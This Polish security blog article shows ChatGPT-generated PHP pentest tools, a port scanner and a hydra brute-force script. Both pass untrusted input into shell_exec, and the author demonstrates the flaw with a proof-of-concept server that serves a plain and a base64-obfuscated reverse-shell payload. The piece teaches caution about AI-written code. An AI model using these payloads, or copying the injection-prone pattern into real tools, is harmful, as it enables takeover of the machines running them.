Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Poprosiliśmy ChatGPT żeby przygotował narzędzie przydatne w audycie bezpieczeństwa. Przygotował, tyle że z krytyczną podatnością, umożliwiającą przejęcie komputera pentestera

26 kwietnia 2023, 09:16 | Teksty | komentarzy 28
Tagi: ,

ChatGPT, narzędzie tak rozpoznawalne, że wszędzie o nim mówią. Także w kontekście o zagrożeniach jakie niesie dla potencjalnych branż (np. programistów), gdzie ludzie boją się o swoje stanowiska. Wspominają także o plusach, czyli m.in. przyspieszeniu pracy wielu grup pracowniczych, np. testerów penetracyjnych. Jako, że jestem jednym z nich postanowiłem sprawdzić co ten twór XXI wieku jest w stanie zaoferować.

Stworzyłem zatem następującego prompt’a (instrukcję dla bota, na podstawie której wygeneruje mi odpowiedni tekst):

Witaj szanowny czacie GPT, wciel się proszę w rolę eksperta z zakresu bezpieczeństwa IT i napisz proszę artykuł o zastosowaniu technologii takiej jak właśnie chat GPT do wytwarzania narzędzi przydatnych przy pracy testera penetracyjnego. Narzędzie które opiszesz to skaner portów z funkcją detekcji bannerów usług identyfikacji CVE dla nich.

Bot chwilę pomyślał i odpowiedział mi następująco:

Oczywiście, poniżej przedstawiam artykuł o zastosowaniu chat GPT jako wsparcia do tworzenia narzędzi do skanowania portów, uwzględniając wykrywanie bannerów i szukanie CVE dla znalezionych wersji usług.
Testowanie systemów pod kątem bezpieczeństwa wymaga wykorzystania różnych narzędzi, w tym skanera portów. Jednym ze sposobów na zwiększenie skuteczności testów jest wykorzystanie zaawansowanych technologii sztucznej inteligencji, takich jak chat GPT, które mogą stanowić nieocenione wsparcie dla testerów penetracyjnych.
Chat GPT może być wykorzystany do automatycznego generowania kodu skryptów testowych, w tym skryptów do skanowania portów. Dzięki wykorzystaniu tej technologii, możliwe jest generowanie realistycznych scenariuszy ataków i automatyczne tworzenie skryptów do przeprowadzania testów bezpieczeństwa.
Poniżej przedstawiony jest przykładowy kod PHP do skanowania portów, z dodaną funkcjonalnością wykrywania bannerów i szukania CVE dla znalezionych wersji usług, który został wygenerowany przez chat GPT:
<?php
$host = 'example.com'; // adres IP lub nazwa domenowa
$ports = array(21, 22, 80, 443, 3306); // lista portów do przetestowania
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>
Wykrywanie bannerów może pomóc testerom w identyfikacji używanych wersji oprogramowania, co pozwala na szybsze weryfikowanie, czy dana usługa zawiera znane luki bezpieczeństwa. Wykorzystanie narzędzi do wyszukiwania CVE dla znalezionych wersji może pozwolić testerom na szybkie znalezienie informacji o potencjalnych lukach bezpieczeństwa, co umożliwia szybsze wdrożenie odpowiednich zabezpieczeń i zapobieganie atakom.
Jednym z popularnych narzędzi służących do wyszukiwania informacji o CVE jest SearchSploit, narzędzie dostępne w systemie operacyjnym Kali Linux. W powyższym przykładzie skrypt PHP korzysta z tego narzędzia, aby wyszukać CVE dla znalezionych bannerów.
Ważnym aspektem testowania penetracyjnego jest również raportowanie znalezionych luk w bezpieczeństwie. ChatGPT może pomóc w automatycznym generowaniu raportów na podstawie wyników testów, co pozwala na szybsze i bardziej skuteczne przekazywanie informacji o lukach bezpieczeństwa i rekomendacjach dotyczących zabezpieczeń.
Podsumowanie, wykorzystanie chatGPT jako wsparcia dla testerów penetracyjnych może znacząco zwiększyć skuteczność testów bezpieczeństwa. Dodanie funkcjonalności, takiej jak wykrywanie bannerów i szukanie CVE dla znalezionych wersji, może pomóc testerom w szybszym identyfikowaniu i naprawianiu potencjalnych luk w bezpieczeństwie. Wprowadzenie automatycznego generowania raportów może również pomóc w szybszym i bardziej efektywnym przekazywaniu informacji o lukach w bezpieczeństwie i zaleceniach dotyczących zabezpieczeń.

Na pierwszy rzut oka można pomyśleć, że super sprawa. Idąc tą drogą każde narzędzie potrzebne do realizowania indywidualnych testów penetracyjnych może być bardzo szybko stworzone za pomocą wspomnianego bota. Przyglądając się jednak zawartości kodu, który został nam zwrócony można zauważyć pewien problem.

Grafika wygenerowana za pomocą: https://imgflip.com/memegenerator

Narzędzie utworzone za pomocą sztucznej inteligencji, mające na celu ułatwienie pracy pentestera w rezultacie stało się narzędziem pozwalającym na zdalny dostęp osoby niepowołanej do maszyny, z której owy kod będzie wykonany.

Przeanalizujmy zatem powyższy kod i sprawdźmy co jest na rzeczy.

$banner = fgets($connection, 4096);

Linijka kodu odpowiedzialna za pobranie bannerów usługi nie wykonuje żadnego filtrowania danych przychodzących. W kolejnych linijkach widać, że przypisana do zmiennej $banner wartość wrzucana jest bezpośrednio (nadal bez żadnych filtrów) do instrukcji odpowiedzialnej za wykonanie komendy systemowej, na komputerze testera:

$cve = shell_exec("searchsploit --color $banner");

Instrukcja shell_exec wywołuje polecenie z poziomu powłoki systemu (np. bash).

W przypadku, gdy wartość zmiennej $banner pozyskanej z testowanego serwera jest bezpieczna, skrypt zachowa się zgodnie z założeniami i spełni swoje zadanie weryfikując za pomocą narzędzia searchsploit podatności dla zlokalizowanej usługi.

Reasumując, przykładowy poprawny banner usługi “Apache 2.0”, zwróci nam pewne wyniki (CVE) dla danej wersji serwera. Co jednak, gdy testowany serwer nie zawiera takich danych, lecz niebezpieczny payload?

W ramach testowego scenariusza przygotowałem serwer w mojej ulubionej technologii (PHP), który serwuje oba warianty (bezpieczny i ten mniej – PoC).

<?php
set_time_limit(0);
ob_implicit_flush();
 
$address = '127.0.0.1′;
$port = 10001;
 
if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo „Couldn’t create socket” .socket_strerror(socket_last_error()).”\n”;
}
 
if (socket_bind($socket, $address, $port) === false) {
    echo „Bind Error „.socket_strerror(socket_last_error($sock)) .”\n”;
}
 
if (socket_listen($socket, 5) === false) {
    echo „Listen Failed „.socket_strerror(socket_last_error($socket)) . „\n”;
}
 
do {
    if (($msgsock = socket_accept($socket)) === false) {
        echo „Error: socket_accept: ” . socket_strerror(socket_last_error($socket)) . „\n”;
        break;
    }
 
    /* Poprawna wiadomość */
    $msg = „Apache 2.0”;
    /* Atak na host skanującego */
    //$msg = „Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1”;
    socket_write($msgsock, $msg, strlen($msg));
 
    socket_close($msgsock);
} while (true);
 
socket_close($socket);
?>

Wykonując pierwszy test, uruchamiając powyższy serwer dla wariantu powyżej otrzymamy informacje o zlokalizowanym bannerze (i w moim przypadku braku narzędzia searchsploit).

Kod narzędzia przygotowanego przez Chat GPT (zmieniony został adres IP oraz zakres portów):

<?php
$host = '127.0.0.1'; // adres IP lub nazwa domenowa
$ports = array(2000,10001); // lista portów do przetestowania
 
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>

Wynik uruchomienia skryptu:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0
sh: searchsploit: command not found
CVEs: 

W kolejnym kroku komentujemy w kodzie serwera linijkę odpowiedzialną za poprawny banner i zostawiamy jej alternatywną mniej bezpieczną dla testera wersję:

/* Poprawna wiadomość */
//$msg = "Apache 2.0";
/* Atak na host skanującego */
$msg = "Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1";

Ponownie uruchamiamy serwer ze zmodyfikowanym kodem, a w międzyczasie, w drugim oknie terminala uruchamiamy serwer nc w celu nasłuchiwania przychodzącego połączenia reverse shella opisanego w zmiennej $msg.

Przykładowe wywołanie serwera nc dla przychodzących połączeń (wersja na MacOs):

nc -l 127.0.0.1 4242

Krok finałowy, ponowne uruchomienie skanera:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
sh: searchsploit: command not found
CVEs: 

Atak zakończony sukcesem bo w oknie terminala z uruchomionym serwerem nc – nawiązano połączenie z maszyną osoby skanującej nasz serwer:

nc -l 127.0.0.1 4242
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$ ls -la
total 16
drwxr-xr-x     4 rk  staff    128 22 kwi 21:39 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ echo hacked>own.txt
bash-3.2$ ls -la
total 24
drwxr-xr-x     5 rk  staff    160 22 kwi 22:30 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--     1 rk  staff      7 22 kwi 22:30 own.txt
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ cat own.txt  
hacked
bash-3.2$ 

Całość ataku dostępna jest również w wersji wideo poniżej:

W trakcie pisania artykułu, gdy przekazałem go do recenzji znajomemu, ten wspomniał, że przecież gdy ktoś zobaczy na ekranie banner o wartości “bash -i >& /dev/tcp/127.0.0.1/4242 0>&1”, to natychmiast odetnie dostęp do Internetu. Przygotowany payload, to tylko przykład, zawsze można by zmodyfikować kod serwera, tak aby payload był nieco bardziej zaciemniony:

$msg = "Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh";

Widok na ekranie testera podczas próby skanowania będzie następujący:

php scan.php
Port 2000 is closed
Port 10002 is open
Banner: Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh
sh: searchsploit: command not found
CVEs: 

Wariacji zaciemniania kodu jest znacznie więcej, począwszy od klasycznego zapisu w formacie hex, a kończąc na szyfrowaniu.

Reasumując, nowe technologie dają nam nowe możliwości, korzystajmy z nich jednak z rozwagą. Nie pozwólmy, aby lenistwo doprowadziło do tego, że zaczynamy bezgranicznie ufać serwowanym dla nas rozwiązaniom. Ponadto stosujmy zasadę ograniczonego zaufania, ponieważ powyższy kod został uzyskany z Internetu (bota), traktujmy go więc jak każdy inny kod z Internetu – nie jest on naszego autorstwa, dlatego weryfikujmy jego zawartość.

Powyższy atak wymagał kilku czynników i okoliczności. Napastnik musi mieć specjalnie spreparowany serwer, który był celem hackera bądź audytora korzystającego z dobrodziejstw AI. Jednakże możliwość wystąpienia niebezpiecznego kodu jest nie tylko w tego typu rozwiązaniach. Znane są w historii przypadki zainfekowanych repozytoriów GitHub czy exploitów, których celem nie były podatne usługi, a komputer osoby, na którym zostały uruchomione.

Według mojej opinii – AI w obecnej formie nie zabierze pracy testerom bezpieczeństwa IT. Dzięki wyżej opisanej technologii, pracy może tylko przybyć.

UWAGA!
Zadanie dla czytelnika – za pomocą kolejnego prompt’a poprosiłem chat GPT o następne narzędzie, wskaż jego słabości bezpieczeństwa / przygotuj PoC (Proof of Concept).

Dla pierwszych 5 osób, które wskażą poprawne rozwiązanie, przewidziane są nagrody – rozwiązanie należy przesłać na adres e-mail: ca@securitum.pl.

Prompt:

Wciel się w rolę eksperta w dziedzinie bezpieczeństwa IT i napisz przykładowy skrypt w PHP, który pobiera ze wskazanego adresu URL informacje o dowolnej (nie znamy jej identyfikatora) formatce logowania, a następnie na jej podstawie wykonuje atak brute force dla użytkownika „admin” za pomocą narzędzia hydra.

Odpowiedź:

Najpierw musimy pobrać zawartość strony internetowej i znaleźć formularz logowania. Do tego możemy użyć biblioteki cURL i parsera HTML, takiego jak DOMDocument. Następnie, gdy znajdziemy formularz logowania, możemy wykonać atak brute force dla użytkownika „admin” za pomocą narzędzia Hydra.
Oto przykładowy kod w PHP, który realizuje to zadanie:
<?php
// Adres URL formularza logowania
$url = "https://example.com/login";
 
// Użytkownik i hasło, dla których wykonamy atak brute force
$username = "admin";
$wordlist = "/path/to/wordlist.txt";
 
// Pobierz zawartość strony
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
curl_close($ch);
 
// Utwórz obiekt DOMDocument i wczytaj HTML
$dom = new DOMDocument();
@$dom->loadHTML($html);
 
// Znajdź formularz logowania
$forms = $dom->getElementsByTagName("form");
foreach ($forms as $form) {
    if (strtolower($form->getAttribute("method")) === "post") {
        // Znaleźliśmy formularz logowania
 
        // Znajdź pola formularza
        $inputs = $form->getElementsByTagName("input");
        $post_data = array();
        foreach ($inputs as $input) {
            $name = $input->getAttribute("name");
            $value = $input->getAttribute("value");
            if (!empty($name)) {
                $post_data[$name] = $value;
            }
        }
 
        // Wykonaj atak brute force za pomocą Hydra
        $command = "hydra -L $username -P $wordlist $url";
        foreach ($post_data as $name => $value) {
            $command .= " \"$name=$value\"";
        }
        $output = shell_exec($command);
 
        // Wyświetl wynik ataku
        echo $output;
 
        // Przerwij pętlę, ponieważ znaleźliśmy formularz logowania
        break;
    }
}
?>
Warto zauważyć, że ten kod służy tylko celom demonstracyjnym i nie powinien być używany do nielegalnych działań. Ataki brute force są nielegalne, a ich wykonywanie bez zgody właściciela systemu jest karalne.

— Robert Kruczek, hakuje w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Anarchia w Bruklinie

    Mógłby z powodzeniem zastąpić mojego szefa ! Każdego szefa !

    Odpowiedz
  2. Luc

    Było bardziej rozwinąć rozmowę z botem na temat kodu, a nie wrzucać pierwszy co wypluł lol

    Odpowiedz
    • Robert

      O to chodziło w prezentacji narzędzia, aby wykazać jakie błędy może poczynić. W przypadku wyszukiwania rozwiązania w internecie, też nie powinniśmy w 100% polegać na pierwszym wyniku wyszukiwania, tylko go przeanalizować, porównać z innym.

      Odpowiedz
  3. Ss

    W $URL zaszywamy podobnie jak w przykładzie wyżej zły kod po znaku ; lub | może być taki sam jak w przykładzie

    Odpowiedz
    • xD

      potwierdzam, skrypt ma podobne wady jak ten komentowany jako zły. Shell exec …. facepalm

      Odpowiedz
  4. Manveru

    PHP 🤦
    shell_exec 🤦🤦🤦🤦🤦

    Odpowiedz
  5. Tellico

    Czy przewidujecie nagrodę dla ChataGPT?

    The code is written in PHP, and there are several security vulnerabilities in this script:

    Insecure use of curl_exec: The script uses curl_exec to fetch the contents of the URL provided in the $url variable. However, the script does not verify the SSL certificate of the remote server, making it vulnerable to man-in-the-middle attacks.

    Command Injection: The script uses shell_exec to execute the Hydra command with user input variables $username, $wordlist, and $url. The variables are not sanitized or validated, which can allow an attacker to inject arbitrary commands into the $command string.

    Password brute-force attack: The script is designed to perform a brute-force attack on the login form using Hydra. While there is nothing inherently insecure about password brute-forcing, it can be illegal and unethical to perform this type of attack on systems or applications that you do not own or have permission to test.

    Insufficient error handling: The script does not have proper error handling, which can cause issues if the Hydra command fails or if the login form cannot be found on the page. This can lead to the disclosure of sensitive information or allow an attacker to execute arbitrary code.

    Hardcoded Credentials: The script contains hardcoded credentials for the user admin. This is a poor security practice and can allow attackers to easily gain access to the system or application.

    Ostatnie to false positive,

    Odpowiedz
    • Robert

      W nagrodę, damy mu drugą szansę w wersji 4.0.

      Odpowiedz
  6. Marcin

    A czemu jako język wybraliście php? Można poprosić chata o przepisanie tego na język bardziej bezpieczny

    Odpowiedz
    • D

      Nie poprosili, widać po prompcie. AI sam wybrał taki przykład, zapewne na podstawie tego na czym był uczony (a nie mamy pojęcia co to było, możemy się tylko domyślać).

      Odpowiedz
      • skirge

        ktoś ma taki skrypt w swoim prywatnym Githubie

        Odpowiedz
        • Andy

          Raczej nie.

          Odpowiedz
    • Robert

      Jak wspomniałem w tekście, lubię ten język.

      Odpowiedz
  7. Andrzej

    Autor publikuje na yt film jako „przeznaczony dla dzieci”. Nie dość, że nie można pisać komentarzy, to nie da się tego dodać do żadnej playlisty. A poza tym, jakie dzieci to zrozumieją? A może powstanie podstrona sekurak . pl / tylko-dla-przedszkolakow ?

    Odpowiedz
    • Robert

      Przeznaczone dla dzieci, aby każdy mógł się zaznajomić z w/w, edukacja nie ma ograniczeń wieku. Komentarze można zostawić tutaj, bądź na innej platformie gdzie post został umieszczony.
      Co do playlisty, przykro mi, nie przewidziałem, że taki krótki PoC będzie miał taki potencjał.

      Odpowiedz
      • Torinthiel

        @Robert:

        Google gdzieś w dokumentacji ma napisane że „przeznaczone dla dzieci” oznacza „dzieci są *główną* grupą docelową”, a druga opcja oznacza tylko „dzieci *nie są* główną grupą docelową, ale nadal mogą oglądać”. Do zaznaczenia że dzieci nie mogą oglądać jest jeszcze coś innego (nie pamiętam w tej chwili czy 3cia opcja czy w ogóle inny select).

        Odpowiedz
  8. MARCIN

    Mnie chyba uszy i oczy mylą! Piszesz do maszyny „…szanowny czacie GPT” ?! …

    Odpowiedz
  9. Marek

    ChatGPT mocno się zepsuł niedawno. Jeszcze w lutym jak prosiłem o wygenerowanie jakiegoś kodu to output można było wykorzystać z nieznacznymi zmianami. Od jakiegoś czasu (podejrzewam że namieszał tu update z 23 marca) wypisuje same bzdury. Ratuję się api i gpt-4.
    W każdym razie bardzo fajny artykuł, ładnie pokazuje dlaczego nie wolno ufać ChatGPT, mimo że sama technologia ma ogromny potencjał.

    Odpowiedz
  10. Wiktor

    Ale on wie że kod jest podatny – można go o to spytać a następnie poprosić żeby go „naprawił” :P Podejrzewam, że jakby sprecyzować żeby przygotował takie narzędzie wolne od podatności i sprawdzone pod kątem bezpieczeństwa to myślę że byłoby ok

    Odpowiedz
    • Kojman

      Brakowało mi tego komentarza w powyższym artykule. Dzięki.

      Odpowiedz
  11. Piotr

    Robert Kruczek: „Według mojej opinii – AI w obecnej formie nie zabierze pracy testerom bezpieczeństwa IT. Dzięki wyżej opisanej technologii, pracy może tylko przybyć.”

    Tak. ChatGPT nie zostało stworzone w tym celu. Poczekajmy na nowe wyspecjalizowane wersje tej technologii. Nie zapominajmy, że rozwija się w tempie wykładniczym.

    Odpowiedz
  12. Piotr

    Dzięki za możliwość udostępniania odpowiedzi ;).

    Odpowiedz
  13. Piotr
    Odpowiedz
  14. Kwa

    Na jakim modelu GPT to zostało zrobione? GPT-3.5 czy GPT-4 (płatny)?

    Odpowiedz
  15. bart

    Było napisać, żeby bez podatności był kod ;)

    Odpowiedz
  16. Łukasz

    Szkoda że te nagrody dla pierwszych 5 osób to tylko chwyt marketingowy.. wysłałem rozwiązanie zadania kilka minut po publikacji artykułu i 0 odpowiedzi

    Odpowiedz
    • Tomasz Turba

      Hej Łukasz, mieliśmy mały przestój, ale zwycięzcy są wyłonieni. Jutro będziemy się odzywać mailowo :-).

      Odpowiedz

Odpowiedz